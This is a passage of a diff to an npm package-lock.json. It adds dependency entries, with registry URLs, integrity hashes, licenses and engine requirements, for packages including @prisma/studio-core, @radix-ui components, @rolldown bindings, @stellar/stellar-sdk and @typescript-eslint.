"8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@prisma/streams-local/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@prisma/studio-core": { + "version": "0.33.0", + "resolved": "https://registry.npmjs.org/@prisma/studio-core/-/studio-core-0.33.0.tgz", + "integrity": "sha512-V2fX/nKEymNTrHXwfP26PGjoLStO35Ogu+ex7CFJbLrMYEcZxxZpiSNOs7px23Hk5mzLWvM5RsqG6Ka+rha+wg==", + "devOptional": true, + "license": "Apache-2.0", + "dependencies": { + "@radix-ui/react-toggle": "1.1.10", + "@visx/curve": "4.0.1-alpha.0", + "@visx/event": "4.0.1-alpha.0", + "@visx/grid": "4.0.1-alpha.0", + "@visx/group": "4.0.1-alpha.0", + "@visx/responsive": "4.0.1-alpha.0", + "@visx/scale": "4.0.1-alpha.0", + "@visx/shape": "4.0.1-alpha.0", + "d3-array": "3.2.4", + "d3-shape": "3.2.0", + "elkjs": "0.11.1" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24.0", + "pnpm": "8" + }, + "peerDependencies": { + "@types/react": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + } + }, + "node_modules/@radix-ui/primitive": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", + "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@radix-ui/react-compose-refs": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", + "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toggle": { + "version": "1.1.10", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.10.tgz", + "integrity": "sha512-lS1odchhFTeZv3xwHH31YPObmJn8gOg7Lq12inrr0+BH/l3Tsq32VfjqH1oh80ARM3mlkfMic15n0kg4sD1poQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-controllable-state": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", + "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-effect-event": "0.0.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-effect-event": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", + "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-use-layout-effect": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", + "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@rolldown/binding-android-arm-eabi": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm-eabi/-/binding-android-arm-eabi-1.2.7.tgz", + "integrity": "sha512-EypzgnYCwyVY4NDHKzGmNJT5b+XaQEBniHxsMdeIQLB/tcCzZnhqrzHpZFbX9iaxx+5RiB8caATBtfvZP7zVxQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-android-arm64": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.7.tgz", + "integrity": "sha512-l17HE9EweWaqJZhuUuNBN/FzM62xw+DECVnJyvMsxn8vJFAGLy5QfLDoYAcronkAN8VxKZHezDpulHDPx95vFw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-arm64": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.7.tgz", + "integrity": "sha512-8ED8ELFvHXc6OCETIn4gXObPiaR6bckM/ipXtbzlPVDRMBfEGjCKgO90F9YtfdpDatVx/ZQw7aZ1vUMf/+T3Mw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-darwin-x64": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.7.tgz", + "integrity": "sha512-/WPripjtiAIZ2tWY7ddijORT0Ujg87wxWW/qcoFVCKAWVDPhtY0xr7Dj0M3GyNGz60jGwTElhro/mkF9dT7dDQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-freebsd-x64": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.7.tgz", + "integrity": "sha512-14DI4NcqpvbICxSnGLx3PmtDaWqRP/KGSGb6C+JLLVPeZRl6dKdHba3pGsqT3vpdTqhEYIPG0MMQ8c0xYqoJxA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm-gnueabihf": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.7.tgz", + "integrity": "sha512-bxrWIRvHWQvbJwi+VIie/kDJmQxcNE6xxWwZdqF/ExVAigtHkv54WTLQPb+QsZdnFy18fg7JPfWGL0RH6vwIlQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-gnu": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.7.tgz", + "integrity": "sha512-toOY2BChBZyuxU7OYX6Tn389di4IzAqPTycVcci0O7FSfBqzRB3RZn+K5Is6ANf4tmgRd/K1yZTsNTXbkXsnLg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-arm64-musl": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.7.tgz", + "integrity": "sha512-lAIXTH/aiLRLxsTgQvfhjo4K1ydWIp00+V0voOr9beb/9ZmkUFrSIb03dXNFRgMNvkE6oGsF10ioQ6UsI+vS5Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-ppc64-gnu": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.7.tgz", + "integrity": "sha512-kdnwS28Pkenp/mZMRwjXXXwxQ7pIsm+bF919LUK93BOyhcLsrVKdP2p9fxpiPNPAbNuch8ypQt0pm2P2LYCAGg==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-s390x-gnu": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.7.tgz", + "integrity": "sha512-516OdsyLdr5E65paF3yBF55t8mfm9+gmtCsK3xI7XKXIT7EfRlHhxL8K/NR6Hu8BWSgF5+1w74lTL0+nxcc8Qw==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-gnu": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.7.tgz", + "integrity": "sha512-r8/z8n7GFaYRln3xmP1Cxy0HH/HLM0uBUPkEuSVEfKGDA89M0FsZRZJRSwe/tJjRx+fpH/gjorfhB8tmEbSFLA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-linux-x64-musl": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.7.tgz", + "integrity": "sha512-pAsE8iiDxUg1xBqdhrTfg45AVDVpirjz00sblEYClGNNcMnDb+e8beQgqIAw6LvauX/APvgxUnwrgun/YYGBhw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-openharmony-arm64": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.7.tgz", + "integrity": "sha512-lTcIYmmnQQA8Or/2DatS6oSqcdLHvendjS+zLu+FwgToynWMRSmQdpM65fTANJgIS4mjbMOo5KT2lnT9SAb96w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-arm64-msvc": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.7.tgz", + "integrity": "sha512-e3Gu3WxbNk/UqQhxqU7YIYO+9ZBvWNz3U+h/qRFosscMFzdRPbXYSaSWgSnklv2fz1TgzBTcti2z35c/7irsHw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/binding-win32-x64-msvc": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.7.tgz", + "integrity": "sha512-W/jg5qoRSqjsEv0+dZi4e687mcHqmVuU0P4fK6qS/xjetW2Gmc1W8j//z5nAeNcC8Ttm0hV46IjcYeuVwYhuiw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "peer": true, + "engines": { + "node": "^20.19.0 || >=22.12.0" + } + }, + "node_modules/@rolldown/pluginutils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz", + "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@stellar/js-xdr": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/@stellar/js-xdr/-/js-xdr-5.0.0.tgz", + "integrity": "sha512-HBDNKnxr+ecdaEmbZ0mcKkirOF8tXXEbWSw34P3wT40Tn3g+u+cCH17xAWZymzscq8cojHB8340pR8QNVaD32w==", + "license": "Apache-2.0", + "engines": { + "node": ">=22.0.0", + "pnpm": ">=10.0.0" + } + }, + "node_modules/@stellar/stellar-sdk": { + "version": "17.0.1", + "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-17.0.1.tgz", + "integrity": "sha512-fsHHbzJ14N5Ttq5Qpz4AX0ytmPSLCzcy4XC3uIgSQz0cBkEgv0Zb4KE6tWEd3nDQUk/1qP8ZX9cRonIaUXO3Sw==", + "license": "Apache-2.0", + "dependencies": { + "@exodus/bytes": "^1.15.1", + "@noble/ed25519": "^3.1.0", + "@noble/hashes": "^2.2.0", + "@stellar/js-xdr": "^5.0.0", + "@types/json-schema": "^7.0.15", + "axios": "1.18.0", + "bignumber.js": "^11.1.4", + "commander": "^14.0.3", + "eventsource": "^4.1.0", + "feaxios": "^0.0.23", + "smol-toml": "^1.6.1", + "uint8array-extras": "^1.5.0" + }, + "bin": { + "stellar-js": "bin/stellar-js" + }, + "engines": { + "node": ">=22.12.0" + } + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/d3-array": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.0.3.tgz", + "integrity": "sha512-Reoy+pKnvsksN0lQUlcH6dOGjRZ/3WRwXR//m+/8lt1BXeI4xyaUZoqULNjyXXRuh0Mj4LNpkCvhUpQlY3X5xQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-HKuicPHJuvPgCD+np6Se9MQvS6OCbJmOjGvylzMJRlDwUXjKTTXs6Pwgk79O09Vj/ho3u1ofXnhFOaEWWPrlwA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-delaunay": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/@types/d3-delaunay/-/d3-delaunay-6.0.1.tgz", + "integrity": "sha512-tLxQ2sfT0p6sxdG75c6f/ekqxjyYR0+LwPrsO1mbC9YDBzPJhs2HbJJRrn8Ez1DBoHRo2yx7YEATI+8V1nGMnQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-format": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/d3-format/-/d3-format-3.0.1.tgz", + "integrity": "sha512-5KY70ifCCzorkLuIkDe0Z9YTf9RR2CjBX1iaJG+rgM/cPP+sO+q9YdQ9WdhQcgPj1EQiJ2/0+yUkkziTG6Lubg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-geo": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-geo/-/d3-geo-3.1.0.tgz", + "integrity": "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/geojson": "*" + } + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-jx5leotSeac3jr0RePOH1KdR9rISG91QIE4Q2PYTu4OymLTZfA3SrnURSLzKH48HmXVUru50b8nje4E79oQSQw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-Yk4htunhPAwN0XGlIwArRomOjdoBFXC3+kCxK2Ubg7I9shQlVSJy/pG/Ht5ASN+gdMIalpk8TJ5xV74jFsetLA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.7", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", + "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.0.tgz", + "integrity": "sha512-sZLCdHvBUcNby1cB6Fd3ZBrABbjz3v1Vm90nysCQ6Vt7vd6e/h9Lt7SiJUoEX0l4Dzc7P5llKyhqSi1ycSf1Hg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/d3-time-format": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/d3-time-format/-/d3-time-format-2.1.0.tgz", + "integrity": "sha512-/myT3I7EwlukNOX2xVdMzb8FRgNzRMpsZddwst9Ld/VFe6LyJyRp0s32l/V9XoUzk+Gqu56F/oGk6507+8BxrA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/esrecurse": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@types/esrecurse/-/esrecurse-4.3.1.tgz", + "integrity": "sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/geojson": { + "version": "7946.0.16", + "resolved": "https://registry.npmjs.org/@types/geojson/-/geojson-7946.0.16.tgz", + "integrity": "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "license": "MIT" + }, + "node_modules/@types/lodash": { + "version": "4.17.25", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.17.25.tgz", + "integrity": "sha512-+K1NIO8I+F9/wNulfVvu23QYd0Pe9/OCqRrim4NoYIf1VoEDL90Ve4ClzpyqBLc7NpGGWRvYNCKZ1BE/Jpf8dQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "26.4.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-26.4.1.tgz", + "integrity": "sha512-k97ENvZWtvA6yqz5/FS6a7duDgOPEeOQOc2iKS/nY6mX6qJUKtLnWzQS+Xj6tXweyj6ZcTAK2Qecetnvi9nCLA==", + "license": "MIT", + "dependencies": { + "undici-types": "~8.3.0" + } + }, + "node_modules/@types/pg": { + "version": "8.23.1", + "resolved": "https://registry.npmjs.org/@types/pg/-/pg-8.23.1.tgz", + "integrity": "sha512-fKVHpikPdg4GKks3JuLEhvwSyvwzF23hnabPy6DD8ljVbC7+6J5dQzdv4arV6jqq57djnMgs1HKBxX4P8aBI3A==", + "license": "MIT", + "dependencies": { + "@types/node": "*", + "pg-protocol": "*", + "pg-types": "^2.2.0" + } + }, + "node_modules/@types/react": { + "version": "19.2.18", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.18.tgz", + "integrity": "sha512-AnzbBERsrLKtk2XSfTbYRLjQPdy116Sty4q+T+Bp3IC4l6jNBvreVPAHmpq9qhXQM7CXZPjLVmGMw9sy+hxQ3w==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "csstype": "^3.2.2" + } + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.69.0.tgz", + "integrity": "sha512-t5jQTKPIgVW1PE6dR6H6Qz5gm8zjMlX5/2gRaOGd9eO6V7J+tQc6iWKukEe7dY8u9HyYasQ0yfF0/FSSTEO2gA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.12.2", + "@typescript-eslint/scope-manager": "8.69.0", + "@typescript-eslint/type-utils": "8.69.0", + "@typescript-eslint/utils": "8.69.0", + "@typescript-eslint/visitor-keys": "8.69.0", + "ignore": "^7.0.5", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.69.0", + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { + "version": "7.0.8", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.8.tgz", + "integrity": "sha512-YYNsSlXBjMk92SKnkwvB5LOVSa6OznlFUGcsvrFgNJbJCd0M1XKeFVRc8ZByeCqz32FivYNHJVooLmdqrmvp/Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.69.0.tgz", + "integrity": "sha512-l4b0DhWioGg6Gt2ebGlvfkFMOjRsauxtsnDRwUSRX1qHq3HdTfQHV8wW9zEXeciai6HfeaKOedQn2Zoofx3WBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.69.0", + "@typescript-eslint/types": "8.69.0", + "@typescript-eslint/typescript-estree": "8.69.0", + "@typescript-eslint/visitor-keys": "8.69.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.69.0.tgz", + "integrity": "sha512-yi4obFrHMmnsesWehHbkg9zMA7Jt8cXT+mKM08G999pH1yT6nqgsHx7MYm0uY1wAj8CqiBXYRJ7WAT0QdQHQXg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.69.0", + "@typescript-eslint/types": "^8.69.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.69.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.69.0.tgz", + "integrity": 